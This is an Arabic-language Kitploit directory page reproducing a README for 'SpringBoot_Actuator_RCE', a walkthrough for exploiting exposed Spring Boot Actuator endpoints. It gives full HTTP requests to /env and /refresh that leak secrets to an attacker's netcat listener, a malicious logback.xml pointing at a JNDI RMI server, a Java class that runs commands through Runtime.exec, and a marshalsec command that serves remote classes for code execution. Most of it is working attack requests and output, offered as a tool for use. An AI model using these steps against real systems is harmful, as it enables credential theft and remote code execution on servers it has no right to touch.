Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SpringBoot_Actuator_RCE — SpringBoot_Actuator_RCE | Kitploit
أدوات/GitHubGitHub/jas502n/springboot_actuator_rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقسوء التكوينأمن واجهات برمجة التطبيقات
GitHubjas502n/springboot_actuator_rce

SpringBoot_Actuator_RCE

SpringBoot_Actuator_RCE

عرض المستودع
951629منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

واجهة swagger-ui

/swagger-ui.html

الحصول على المعلومات الحساسة* من SpringBoot env (1)

عندما نصل مباشرة إلى موقع SpringBoot، يمكننا رؤية بعض حقول password معبأة بعلامة *

  1. يمكن الحصول على الحقول كنص صريح من خلال ${name}
  2. التكوين غير الصحيح يسبب تسريب معلومات حساسة (حقل password معبأ بعلامة *، بينما حقل pwd غير معبأ)

مرجع https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA

خطوات التنفيذ المحددة:

مثال: نريد الحصول على قيمة معامل pid

"PID": "10648",
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

ثم أرسل طلب POST إلى /refresh بأي محتوى لتشغيل الثغرة

ملاحظة: في الوضع الطبيعي، تحتاج إلى الانتظار 3 ثوانٍ لتلقي حزمة الاستجابة. إذا عادت فورًا، فقد تكون الخدمة تفتقد الحزمة الموسعة spring-boot-starter-actuator ولا يمكن تحديث الثغرة، وبالتالي لا يمكن استغلالها

POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

عندما يستمع الخادم على المنفذ 2444 عبر nc، يستقبل:

root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==

Authorization: Basic MzgzNDY6bnVsbA==

فك ترميز base64 يعطي:

root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null

وهي نفس معلومات pid أعلاه

وبالمثل، للحصول على معامل user.country، الخطوات هي نفسها

النتيجة:

root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==

 sent 0, rcvd 310

فك ترميز base64 يعطي:

root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null

البرمجة النصية

أدخل المعامل الذي تريد الاستعلام عنه، وأدخل المنفذ الذي يستمع عليه nc

استمع على المنفذ، واحصل على الترويسة (header) المحددة، وفك تشفير base64 تلقائيًا

ملاحظة: إذا كنت محظوظًا وكان Eureka-Client <1.8.7 موجودًا في classpath الهدف (عادةً ما يكون مضمنًا في Spring Cloud Netflix)، فيمكنك استغلال ثغرة إلغاء تسلسل XStream الموجودة فيه.

مثال: User-Agent: Java-EurekaClient/v1.4.11

إعادة إنتاج ثغرة SpringBoot_Actuator JNDI RCE (2)

0x01 إعداد البيئة

git clone https://github.com/veracode-research/actuator-testbed

التشغيل:

mvn install
أو
mvn spring-boot:run

بعد الترجمة والتشغيل، وجدت أن عنوان IP المستمع هو 127.0.0.1 ولا يمكن الوصول إليه إلا من الجهاز المحلي. بعد البحث في Baidu، وجدت أنه يكفي تعديله إلى 0.0.0.0.

البحث عن الملفات المفتاحية:

grep -r 'server.address' -n ./

./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1

قم بتعديله إلى:

server.port=8090
server.address=0.0.0.0

# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false

# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*

0x02 إعادة التشغيل

mvn spring-boot:run

أو:

/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run

انتظر قليلاً:

root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6       0      0 :::8090                 :::*                    LISTEN      33666/java
root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/

http://10.20.24.191:8090/jolokia/list

حيث يمكن لـ reloadByURL تحميل ملف xml من عنوان URL بعيد

"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}

0x03 تخزين logback.xml و ExportObject.class في خدمة http

محتوى ملف logback.xml:

<configuration>
  <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>

ExportObject.java:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
   public ExportObject() throws Exception {
      Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
      InputStream var2 = var1.getInputStream();
      BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));

      String var4;
      while((var4 = var3.readLine()) != null) {
         System.out.println(var4);
      }

      var1.waitFor();
      var2.close();
      var3.close();
      var1.destroy();
   }

   public static void main(String[] var0) throws Exception {
   }
}

0x04 تشغيل RCE

استمع إلى منفذ RMI:

root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject


root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection



تنزيل الأداة